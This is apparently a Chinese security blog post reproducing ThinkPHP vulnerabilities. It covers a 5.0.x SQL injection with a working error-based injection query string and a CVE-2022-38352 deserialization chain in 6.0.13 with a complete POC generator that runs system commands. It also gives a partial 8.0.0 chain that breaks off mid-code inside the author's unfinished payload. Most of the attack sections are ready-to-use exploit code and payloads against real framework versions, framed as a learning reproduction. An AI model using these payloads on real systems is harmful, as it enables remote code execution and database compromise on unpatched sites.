ThinkPHP漏洞复现
ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架。下面就对几个漏洞点进行学习以及复现。
首先需要配置好xdebug环境,这里可以参考我的另一篇文章:
https://fupanc-w1n.github.io/p/phpstorm%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/
Thinkphp5 SQL注入漏洞
漏洞版本:5.0.13<=ThinkPHP<=5.0.15
——————
环境搭建
这里再简单说说环境搭建,后面其实都大差不差的。在github上下载v5.0.15的源码,然后在小皮中搭建一个网站即可,以composer.json
文件所在目录为根目录,然后配置mysql,直接使用phpstudy上的即可,但是需要往里面插入数据:
1
2
3
|
create database tp_text;
create table users(username varchar(20));
insert into users value ("fupanc"),("test");
|
然后修改部分源码,在composer.json中指定版本:

还可以看到这里的php版本要求,但是我这里就直接使用的7.3.4了,然后在这个目录下使用composer install
就创建好了。
然后在application/index/controller/Index.php
中添加入口点,模仿一个数据查询的部分:

即
1
2
|
$username = request()->get('username/a');
db('users')->insert(['username'=>$username]);
|
然后修改数据库的配置文件,位于application/database.php
:

再在application/config.php
开启调试:
1
2
3
4
|
// 应用调试模式
'app_debug' => true,
// 应用Trace
'app_trace' => true,
|
phpstorm的配置就是前面给的文章,参考那个来配即可,简单修改一下如人口路径:

最后成功打上断点:

————
这里其实就是要传参username,可以先简单加一个参数来调试一下过程,直接如下配置就行:

代码审计
开始审计,打通的POC如下:
1
|
?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1
|
还是先从原配置的传参来,简单说明一下这里的添加的入口的代码逻辑:
1
2
|
$username = request()->get('username/a');
db('users')->insert(['username'=>$username]);
|
对于第一行代码,先是初始化了一个request对象,然后调用了get()函数,跟进这个get()函数:

这里的get在类中的最初定义是一个空数组,然后会将$_GET
(也就是get传参的内容)的值全部赋值给这个,然后会调用input()方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
|
简单过程,从前面可以看出来就是一些分割操作,在前面参数的定义中,username/a
代表的就是接收一个数组类型的username参数,简单说一下后面的分割操作:

前面有一个用/
分割,获取到了参数的type,然后这里获取到了用.
来分割,其实逻辑就是获取到username的值,这里是fupanc,所以会将$data
值设置成了fupanc,并且这个值不是一个实例,所以也不会进入后面的if条件。
继续往后面看:

这里调用了getFilter()函数,就是一个获取过滤器的操作,但是我这里并没有特别设置filter,所以就是为空。
再后面,这里我是直接传参的fupanc,不是数组类型,所以不hi进入后面的if语句,而在else语句中,可以看到的调用了filterValue()函数:

类的传参如上,然后调用了array_pop()函数,就是去掉数组的最后一个元素。但是后面的is_callable
函数是没有通过的,is_callable()函数就是判定是否可以作为为一个函数调用,很显然这里不行。而is_scalar()函数,就是检测是否是一个标量,标量变量是指那些包含了 integer、float、string 或 boolean 的变量,而 array、object 和 resource 则不是标量。这里的is_scalar
函数虽然满足了,但是后面的is_scalar
函数里面定义的if等语句都是不满足的,所以最后会直接return:

然后就会调用到filterExp()函数:
1
2
3
4
5
6
7
8
|
public function filterExp(&$value)
{
// 过滤查询特殊字符
if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
// TODO 其他安全过滤
}
|
这里就是一个sql注入的防御机制,大小写匹配来构建waf,如果匹配到了内容,那么就会直接将value后面加一个空格,但是本地测试了一下,这个过滤得比较一般呀。
最后调用完filterEXP和filterValue函数过后就回到了input()函数:

最后有一个类型转换,这里得$type
变量就是在前面/
分割那里分割出来的。最后,经过类型转换后,这里就会将data的值变成一个数组并将其返回:

但是如果我直接传参时就是一个数组呢?还是简单改一下配置即可:

然后再次调试即可,不同的点在于在调用input()方法时,is_array函数判断成功:

然后会调用到array_walk_recursive()函数,其实就是会调用filterValue()函数,简单跟了一下。过程其实也是和前面差不多的,一个检测值的操作,这里就不多说了。最后调用reset()函数来输出数组第一个值,也就是fupanc,并且后面的操作也是差不多的,这里就不多说了。
然后就到了数据库连接及插入操作了:
1
|
db('users')->insert(['username'=>$username]);
|
跟进这个db()方法:

这里是连接数据库,并且指定了数据表为users表:

然后调用了insert()方法:

可以看到这里是调用了parseExpress()方法,跟了一下,里面就是对options这个变量进行了一下填充操作,在这个方法中,先是定义了一个$options
变量,是一个数组类型,然后就是往这个数组类型的变量进行一些填充,里面有几个是后面要提到的点:

这里的gettable()方法可以获取到table的名字,在这里就是users,并且将data的键设置为了空:

然后后面有一个foreach操作,将键为fetch_sql的值设置为了false:

然后在这方法之间,是进行了很多的填充,最后是返回了这个$option
变量。
退出了parseExpress()方法,然后调用了array_merrge()方法,这个是一个合并数组的操作,但是这里并没有合并?小怪,data的值还是没有改变。
然后调用了insert()函数,这里的“发起者”是builder变量:

看一下builder变量的定义:

是数据库Builder对象实例,同时在这里,我们还可以看到一个数据库Connection对象实例。简单区别就是:
然后就会调用到insert()方法:

这里调用了一个parseData()函数,此时的参数传递如下:

在这个函数中,在switch部分必须要匹配到,不然会直接退出导致不能执行sql执行操作,部分代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
$result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;
|
这里调用的foreach,会匹配到val[0],也就是fupanc这个值,后面会进入到switch的语句中,然后就会进行switch匹配,如果这里不呢个匹配到,后面由于is_scalar
函数匹配标量,不会进入,就会直接返回一个空数组($result
),然后再insert()函数中直接return 0了:
1
2
3
4
|
$data = $this->parseData($data, $options);
if (empty($data)) {
return 0;
}
|
就不会有后面的替换操作返回一个正常的sql语句了。
而返回了一个0过后呢,就不能执任何sql语句了:

前面的在填充option时标注为了false,前面提到了,然后这里由于result为0,直接就不会执行后续操作了。导致最后的sql语句插入是没用的。
现在再来仔细看一下这个POC:
1
|
?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1
|
这里的传参是加上了一个inc的,也就是说,转折点就是在switch语句,这里再看看switch的代码逻辑:
1
2
3
4
5
6
7
8
9
10
|
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
|
这里会匹配val[0]
的值,值的赋予是前面提到了的,也就是如果传参如下:
1
|
username[0]=1&username[1]=2
|
那么这里的val的值就是包含到1和2两个值的数组,那么在这里,可以尝试传参:
1
|
username[0]=exp&username[1]=fupanc
|
再看看情况呢,还是进不去,这里输出为:

在exp后面似乎多了一个空格,phpstorrm的问题?
那么在网页上传参试试呢,还是不行呢。
那么最后再调试一下POC:
1
|
?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1
|
这下又完全正确了:

这。。。
那就看这个吧,在case中利用到的函数如下:
1
2
3
|
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
|
这里的parseKey()函数最后其实返回的就是传进去的值,而floatval()函数则是将其转换为浮点型,最后相加,结果如下:

返回的result不为空了,回到insert()函数,然后调用了array_keys和array_values函数来分别生成key和value的数组,也就是前面result中的值,然后进行了替换操作:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
$fields = array_keys($data);
$values = array_values($data);
$sql = str_replace(
['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
[
$replace ? 'REPLACE' : 'INSERT',
$this->parseTable($options['table'], $options),
implode(' , ', $fields),
implode(' , ', $values),
$this->parseComment($options['comment']),
], $this->insertSql);
return $sql;
|
最后的sql语句为:
1
|
INSERT INTO `users` (`username`) VALUES (updatexml(1,concat(0x7e,user(),0x7e),1)+1)
|
最后成功执行:

成功进行报错注入:

——————
修复方案
官方的修复方案是修改switch语句的逻辑:
1
2
3
4
5
6
7
8
9
10
11
|
switch (strtolower($val[0])) {
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
case 'exp':
$result[$item] = $val[1];
break;
}
|
总结
第一次审下来,确实代码审计需要比较细心呀,有些时候就是一些传参就能达到注入的效果,还有需要注意代码之间的联系,有些时候在代码的后半段会有比较重要的代码逻辑体现,还是多加注意。
Thinkphp v6.0.13反序列化漏洞
CVE-2022-38352
环境搭建
和之前有点不一样了,thinkphp6以上就只有使用composer来安装了,比如这里的使用方法是:
1
2
|
composer create-project topthink/think=6.0.13 think-6.0.13
//简单解析一下,这里就是指定了thinkphp的版本,然后这里的tp6就是将源码下载在当前目录的tp6目录下
|
如果有报错的话一般就是php.ini配置文件有些配置需要修改,比如需要开启zip的配置等,其实问AI都能问出来。
然后访问网站的public/index.php
,如果报错Your Composer dependencies require a PHP version “>= 7.4.0
,那么就需要改一下配置文件:
1
2
3
|
"config":{
"platform-check": false
}
|
此时搭建成功,但是会发现版本不对,所以需要
还是改配置,在framework这里直接指定版本:
1
2
3
4
5
|
"require": {
"php": ">=7.2.5",
"topthink/framework": "6.0.13",
"topthink/think-orm": "^2.0"
},
|
然后再使用composerr update
即可,最后成功搭建:

下载来的源码可以看到这里的php版本要求是大于等于7.2.5的,这里还是直接使用前面的7.3.4即可。
然后在app\controller\Index.php
文件中加上入口:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
if($_POST["a"]){
unserialize(base64_decode($_POST["a"]));
}
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">16载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}
|
代码审计分析
反序列化,一般都是从__destruct
或者__wakeup
入手的,这里还是从__destruct
方法入手,直接全局搜索这个方法,可以看到有如下几个逻辑:

搜到了如上几个方法,看了一下,感觉如下的两个点可能存在利用:
League\Flysystem\Cached\Storage\AbstractCache :
1
2
3
4
5
6
|
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
|
think\Model :
1
2
3
4
5
6
|
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
|
看参考文章的入手点是AbstractCache抽象类的方法,所以就是第二个destruct()方法,简单跟一下。
lazySave
就是类的一个变量,在反序列化时可以赋值为任意值,跟进调用的save()方法,这里的AbstractCache类是抽象类,所以是必然有save()方法的实现了,AbstractCache类的实现类有如下几个:

这里的链子是需要调用到League\Flysystem\Cached\Storage\Psr6Cache的save()方法:
1
2
3
4
5
6
7
|
public function save()
{
$item = $this->pool->getItem($this->key);
$item->set($this->getForStorage());
$item->expiresAfter($this->expire);
$this->pool->save($item);
}
|
不是很清楚这里,确实会找子类的save()方法的实现,但是不知道为什么这里就是调用的这个类的save()方法,先不管,跟一下链子,后面分析一下生成逻辑。
链子后面会再次调用到__call()
方法,只要将这个理的$this->pool
设置为一个类即可,这里选用的是think\log\Channel类的__call()
方法:
1
2
3
4
|
public function __call($method, $parameters)
{
$this->log($method, ...$parameters);
}
|
参数传递的话,这里的$method
是getItem()方法名,而$parameters就是前面传的$this->key
,看了一下,这个pool和key都是类定义的变量,所以这里都是可控的。然后跟进log()方法,会调用record()方法:
1
2
3
4
|
public function log($level, $message, array $context = [])
{
$this->record($message, $level, $context);
}
|
然后再跟进record()方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
public function record($msg, string $type = 'info', array $context = [], bool $lazy = true)
{
if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))) {
return $this;
}
if (is_string($msg) && !empty($context)) {
$replace = [];
foreach ($context as $key => $val) {
$replace['{' . $key . '}'] = $val;
}
$msg = strtr($msg, $replace);
}
if (!empty($msg) || 0 === $msg) {
$this->log[$type][] = $msg;
if ($this->event) {
$this->event->trigger(new LogRecord($type, $msg));
}
}
if (!$this->lazy || !$lazy) {
$this->save();
}
return $this;
}
|
继续看链子,在record()方法中,主要还是为了调用最后的save()方法,简单看一下前面的代码,看是否可以实现调用save()方法:
前面总的来说是需要通过三个if条件,
1
2
3
|
if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))) {
return $this;
}
|
就是需要$this->close
为false,然后后面的allow定义是一个数组,从代码逻辑来看,要么这个数组为空,要么这个数组里面存在getItem这个值,就不会进入这个if语句。
1
2
3
4
5
6
7
8
|
if (is_string($msg) && !empty($context)) {
$replace = [];
foreach ($context as $key => $val) {
$replace['{' . $key . '}'] = $val;
}
$msg = strtr($msg, $replace);
}
|
判断$msg
是否为字符串类型,然后判断$context
变量是否为空,这个$msg
的值是可控的,而且从record()函数的形参来看,这里的$context
变量就是一个空值,所以第二个if条件应该是不会进入的。
1
2
3
4
5
6
|
if (!empty($msg) || 0 === $msg) {
$this->log[$type][] = $msg;
if ($this->event) {
$this->event->trigger(new LogRecord($type, $msg));
}
}
|
这里$msg
不为空,就可以进入这个if条件,同样可以控制到不进入这个if条件,但是这里还不知道有什么用,先不管。
1
2
3
|
if (!$this->lazy || !$lazy) {
$this->save();
}
|
这里的$this->lazy
变量是类变量,可以控制。
那么现在来看save()方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
public function save(): bool
{
$log = $this->log;
if ($this->event) {
$event = new LogWrite($this->name, $log);
$this->event->trigger($event);
$log = $event->log;
}
if ($this->logger->save($log)) {
$this->clear();
return true;
}
return false;
}
|
这里的$this->logger
可控,调用任意类的save()方法,或者__call()
方法,但是这里的链子跟的是think\log\driver\Socket类的save()方法:

需要check()函数返回true,跟进check()函数:

这里只需要控制$this->config['force_client_ids']
为true,$this->config['allow_client_ids']
为空,最后就会返回true。(ps:关键代码逻辑处理真重要呀,自己先看了一下,一直没提取出来重点,看了一下参考文章,这重点抓得是真准呀,只需要控制这几个参数就可以直接达到目的)。
而对于这里得config,定义就是一个数组,如下:

最后成功通过check()函数。回到save()函数,通过控制$this->config['debug']
为true,从而进入到if条件:

然后这里是将$this->app
设置为了think\APP
类,但是这个APP类没有exists()方法,会调用到父类Container得exists()方法:

从注释中可以看出这里就是在判断容器中是否有独享实例,参数传递中可以看出这里是判断是否有request这个类的实例,跟进这个getAlias()方法:
1
2
3
4
5
6
7
8
9
10
11
12
|
public function getAlias(string $abstract): string
{
if (isset($this->bind[$abstract])) {
$bind = $this->bind[$abstract];
if (is_string($bind)) {
return $this->getAlias($bind);
}
}
return $abstract;
}
|
对于第一个if语句,跟进判断的$this->bind[$abstract]
,由于这里的$this
调用关系,这里判断的是App类的bind变量:

可以看到这里是绑定到有Request.class类的,所以这里的getAlias()方法最后是会返回这个Request类的完全包名,也就是会返回think\Request。然后回到exists()方法,会判断是否有实例化类,也就是$this->instance['think\Request']
要为true,同样可以直接在类初始化时设置,比如$this->instance
赋值为['think\Request'=>new Request()]
。
最后回到Socket文件的save()方法,然后就会调用Request类的url()方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
public function url(bool $complete = false): string
{
if ($this->url) {
$url = $this->url;
} elseif ($this->server('HTTP_X_REWRITE_URL')) {
$url = $this->server('HTTP_X_REWRITE_URL');
} elseif ($this->server('REQUEST_URI')) {
$url = $this->server('REQUEST_URI');
} elseif ($this->server('ORIG_PATH_INFO')) {
$url = $this->server('ORIG_PATH_INFO') . (!empty($this->server('QUERY_STRING')) ? '?' . $this->server('QUERY_STRING') : '');
} elseif (isset($_SERVER['argv'][1])) {
$url = $_SERVER['argv'][1];
} else {
$url = '';
}
return $complete ? $this->domain() . $url : $url;
}
|
可以控制url变量,测试了一下这里的if语句,只要有给$this->url
赋值,那么这里的if语句就为真,判断规则如下:

所以我们可以给$url
赋值为任意值。
在最后的return语句,由于参数的传递,会调用$this->domain()
方法,然后是一个拼接url值得操作,跟进一下这里得domain()方法:
1
2
3
4
|
public function domain(bool $port = false): string
{
return $this->scheme() . '://' . $this->host($port);
}
|
调用domain()方法时没有传参,所以这里的$port
为false,方法内容就是获取协议头和域名的操作,也就是获取包含当前协议的域名,但是这里会直接返回我们可控的host的值,代码逻辑如下:

参数传递,会让$strict
变量设置为false,在三目运算符中会得到后面的那个值,也就是$host
的值。
最后调用完url()函数过后,回到save()方法,会将返回的值赋值给$currentUri
变量:

然后这里只要控制$this->config['format_head']
不为空,就可以调用到think\App类的invoke()方法,而这个$this->config['format_head']
,同样是可控的,而think\App是没有invoke()方法的,其实还是调用的父类Container的invoke()方法:
1
2
3
4
5
6
7
8
9
10
|
public function invoke($callable, array $vars = [], bool $accessible = false)
{
if ($callable instanceof Closure) {
return $this->invokeFunction($callable, $vars);
} elseif (is_string($callable) && false === strpos($callable, '::')) {
return $this->invokeFunction($callable, $vars);
} else {
return $this->invokeMethod($callable, $vars, $accessible);
}
}
|
然后链子是看第三个invokeMethod()方法:

前面的分割类名和方法名的操作,最开始我本来是想要使用else中的方法来进行分割的,后面构造的时候发现有点问题,只能被解析成字符串,也有可能是我传参格式有点问题,其实这里使用前面的if语句中的条件才是最好用的,直接用一个数组传参即可,并且这里还有个invokeClass()
方法来确保是一个obejct对象。然后看上图重点标注出来的部分,这里是一个反射操作,和java的很像,反射获取类及方法,然后动态执行。
在这里,我们就可以找一下有无什么函数可以动态调用,可以用Seay源代码审计工具自动审计一下:

可以看到这个display()函数是存在命令执行漏洞的,存在think\view\driver\Php文件中,现在就是看怎么进行参数传递来打了,参数传递感觉也是很有意思的呀:
在explode()函数中使用::
来分割class和method,感觉传参是:
1
2
|
a=new think\view\driver\Php()
a:: display
|
这样?感觉像是。
然后再使用ReflectionMethod()方法来反射获取到要调用的方法,再然后使用bindParams()方法来绑定参数,最后调用invokeArgs()来执行这个方法。
而在命令执行是如下:
1
|
eval('?>' . $this->content);
|
如下就可以进行命令执行:
1
2
3
4
|
<?php
$content="\<?php system('whoami');?>";
eval('?>' . $content);
|
所以传参就需要传<?php system('whoami');?>
即可,这里的参数传递其实就是前面$currentUri
的内容,也就是直接将前面的$url
设置为php代码即可。
最后的POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
<?php
namespace League\Flysystem\Cached\Storage;
//abstract class AbstractCache
//{
// protected $autosave = false;
//}
class Psr6Cache {
private $pool;
protected $autosave = false;
function __construct($a){
$this->pool=$a;
}
}
namespace think\log;
class Channel{
protected $logger;
protected $event;
protected $lazy;
function __construct($b){
$this->lazy=false;
$this->event=false;
$this->logger=$b;
}
}
namespace think\view\driver;
class Php{
}
namespace think\log\driver;
class Socket{
protected $app;
protected $config =[];
function __construct($b){
$this->app=$b;
$this->config=[
'force_client_ids' => true,
'allow_client_ids' => '',
'debug' => true,
'format_head' => [new \think\view\driver\Php,'display']
];
}
}
namespace think;
class Request{
protected $url;
function __construct(){
$this->url="<?php system('calc'); ?>";
}
}
class App{
protected $instances = [];
function __construct(){
$this->instances=[
'think\Request' => new Request()
];
}
}
$d=new App;
$b=new \think\log\driver\Socket($d);
$a=new \think\log\Channel($b);
$c=new \League\Flysystem\Cached\Storage\Psr6Cache($a);
echo urlencode(base64_encode(serialize($c)));
|
其实基本链子知道了,就可以直接构造好类,然后生成序列化数据,如果还是有问题,在调试时再一步一步修改。
最后是成功弹出计算机的:

从页面显示是知道有回显的。所以可以直接打有回显的命令执行。
问题解决
前面留了一个问题,不知道为什么会选择Psr6Cache类的save()方法。其实从整个构造过程下来看,就基本上已经懂了。首先,选用Psr6Cache类是完美符合链子的,其次,在java的学习中,我们可以知道在反序列化一个类时,同时还会反序列化它的父类,这样就会触发AbstractCache类的__destrcut()
方法,从而使得链子执行。
而页面回显的http://,其实就是链子中拼接url后的结果,但是php代码被执行了,所以只有这个回显:

————
总结
从这个链子中,学到了很多,关键代码的抓取、关键类的选取。。。
感觉挖一条链子真的是要看很多代码呀,函数调用当然不难,但是要找到对应的函数,还是比较花耐心的,intersting,某两个方法配合起来就能打成一条链子。
同时在这里知道,对于一些框架,有些漏洞点真可以去github issue上看,我看这条链子的POC就是在github issue上可以看到的,可以看参考文章。
参考文章:
https://github.com/top-think/framework/issues/2749
https://xz.aliyun.com/news/11615?time__1311=eqUxuQDtDQitqAKD%3DD%2FFn%2BCBKqGQqD9QnGoD&u_atoken=d85375bd9b5b083adb46a87b18f126c7&u_asig=1a0c399a17410911216675510e012d
https://blog.csdn.net/qq_29920751/article/details/87630803
https://blog.csdn.net/qq_21296205/article/details/128369757
——————————
Thinkphpv8.0.0 反序列化漏洞
需要使用php8,我这里是php8.2.9+thinkphp v8.0.0
这个是nivia学长在2024xctf final出的题,当时他是挖出来的0day,这里也是来复现一下。
——————
环境搭建
环境搭建一个php8的环境,参考之前发的搭建的php7的调试环境教程,差不多的。
然后下载源码:
1
|
composer create-project topthink/think=8.0.0 think-8.0.0
|
改composer.json文件的框架版本为指定版本8.0.0
,然后运行composer update
更新一下即可。
最后访问成功搭建:

这里还是在app/controller/Index页面加一个入口即可:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
unserialize(base64_decode($_POST['a']));
return '<style>*{ padding: 0; margin: 0; }</style><iframe src="https://www.thinkphp.cn/welcome?version=' . \think\facade\App::version() . '" width="100%" height="100%" frameborder="0" scrolling="auto"></iframe>';
}
public function hello($name = 'ThinkPHP8')
{
return 'hello,' . $name;
}
}
|
然后就可以开始愉快的代码审计了。
ps:好像这条链子后半部分和一个thinkphp6的很像,和我前面审的不一样,直接从这里学了,不再返回去审计那个了。
——————
代码审计
在一篇文章中看到了一个点,代码审计要选好sink点和source点,然后在挖链子的过程中去靠即可,感觉还是比较有意思的。
——————
source点选择
一般的source点就是__destruct
或者__wakeup
方法,直接全局搜索__destruct
方法,找到两个可以使用的点:
League\Flysystem\Cached\Storage\AbstractCache:
1
2
3
4
5
6
|
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
|
think\route\ResourceRegister:
1
2
3
4
5
6
|
public function __destruct()
{
if (!$this->registered) {
$this->register();
}
}
|
在这里选择的是第二个。
sink点选择
一般框架的反序列化sink点都会选择call方法,因为一般可能的危险操作都在call方法上。
在这里使用的是think\Validate#__call,代码逻辑如下:
1
2
3
4
5
6
7
8
9
10
|
public function __call($method, $args)
{
if ('is' == strtolower(substr($method, 0, 2))) {
$method = substr($method, 2);
}
array_push($args, lcfirst($method));
return call_user_func_array([$this, 'is'], $args);
}
|
这个代码逻辑,如果想要能够进入if语句,需要$method
名为类似iseval这种,然后就会截取,将$method
的值更新为eval这种,最后就调用了call_user_func_array()方法,这个函数的调用也是非常有意思,给一个代码说说这里的逻辑:
1
2
3
4
5
6
7
8
9
|
<?php
class Foo {
function bar($arg, $arg2) {
echo __METHOD__, " got $arg and $arg2\n";
}
}
$foo = new Foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
//output: Foo::bar got three and four
|
可以知道,这里就是调用$foo
实例的bar()函数,那么同样的,在原来的payload上,这里就是调用$this
的is()函数,全局搜索is函数,得到了如下函数:

同样还是think/Validate类的is()函数,从图中可以看到最后这里的参数都是可控的,可以达到调用回调函数来达到命令注入的效果。
现在sink点和source点都找到了,来看一下中间的链子。
链子寻找
入口点是 think\route\ResourceRegister类的__destruct
函数:
1
2
3
4
5
6
|
public function __destruct()
{
if (!$this->registered) {
$this->register();
}
}
|
$this->registered
变量可控,然后回调用到register()方法:
1
2
3
4
5
6
|
protected function register()
{
$this->registered = true;
$this->resource->parseGroupRule($this->resource->getRule());
}
|
其实这里就能尝试调用__call()
方法,但是在前面想要进行命令执行的地方,是需要在调用__call()
方法时是需要有参数的,但是这里的getRule()
方法是无法进行传参的。
还是直接跟进,调用的getRule()方法会调用到Resource.php文件的父类的父类Rule类的getRule()方法:
1
2
3
4
|
public function getRule()
{
return $this->rule;
}
|
所以这里的参数是可控的。
然后看一下parseGroupRule()方法,会调用到Resource.php文件的parseGroupRule()方法:

如上图,通过参数的控制,我们可以直接跳过第一个if语句的执行,直接执行后面的代码,然后看第二个框出来的部分,可以看见很明显的拼接操作,这里是可以尝试调用toString链的,这里再简单看一下这里的参数情况,看是否可以控制,审计了一下,发现是可以控制的,具体就看后面的POC吧,继续找链子。。
现在就是需要去找调用toString()链子,这里选用的是think\model\concern\Conversion类的__toString()
链:

跟进这个toJson():

然后调用toArray():
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
public function toArray(): array
{
$item = $visible = $hidden = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (str_contains($val, '.')) {
[$relation, $name] = explode('.', $val);
$visible[$relation][] = $name;
} else {
$visible[$val] = true;
$hasVisible = true;
}
} else {
$visible[$key] = $val;
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (str_contains($val, '.')) {
[$relation, $name] = explode('.', $val);
$hidden[$relation][] = $name;
} else {
$hidden[$val] = true;
}
} else {
$hidden[$key] = $val;
}
}
// 追加属性(必须定义获取器)
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name, $visible, $hidden);
}
..............等代码
}
|
这里主要主要就是要调用最后的appendAttrToArray()方法:

然后调用这里的getRelationWith()方法:

这里就可以触发__call()
方法,对于参数的传递,其实不难,但是有一个点没想明白:

这里的rule会是什么?问我传参时并没有传这个参数,先简单构造看看这里的参数是什么。
exp构造
问题说明
这里的参数说明就不具体说明了,直接构造即可,实在想不出的时候可以再看看P我构造出来的POC,这里有几个点需要说明一下:
1.
在前面的链子找寻过程中,可以知道链子其中一个是trait类型的Conversion类,是代码复用类型的,不能直接实例化来使用,但是我们需要利用到他的__toString()
方法,怎么利用呢,自己构造的时候也是在Conversion类中有一个向下找的按钮:

往下跳,到了Model抽象类:

再往下就到了Pivot类:

这个类就是可以直接实例化来使用的,所以最后我们要使用的类就是这个类。
——————
2.
还有个就是前面遗留的$rule
参数问题:

果然还是调试一下就知道了,这里的$rule
变量的值是visible
,后面简单说说是怎么进行的:
在__call
方法中,触发的点是visible()方法:

所以如下__call
源码,这里会直接将这个$method
的值直接push上数组中:

让然后在调用is()函数时,对于$value
和$rule
的值,就是数组的第一个值和第二个值。
3.
最重要的一点,nivia师傅tql,也是我卡住的一点,导致这一步没构造出POC,简单贴一下我的原本错误的POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
<?php
namespace think;
class Validate
{
protected $type = [];
function __construct(){
$this->type=['visible'=>'system'];
}
}
class Route{
}
namespace think\model;
class Pivot
{
protected $visible = [];
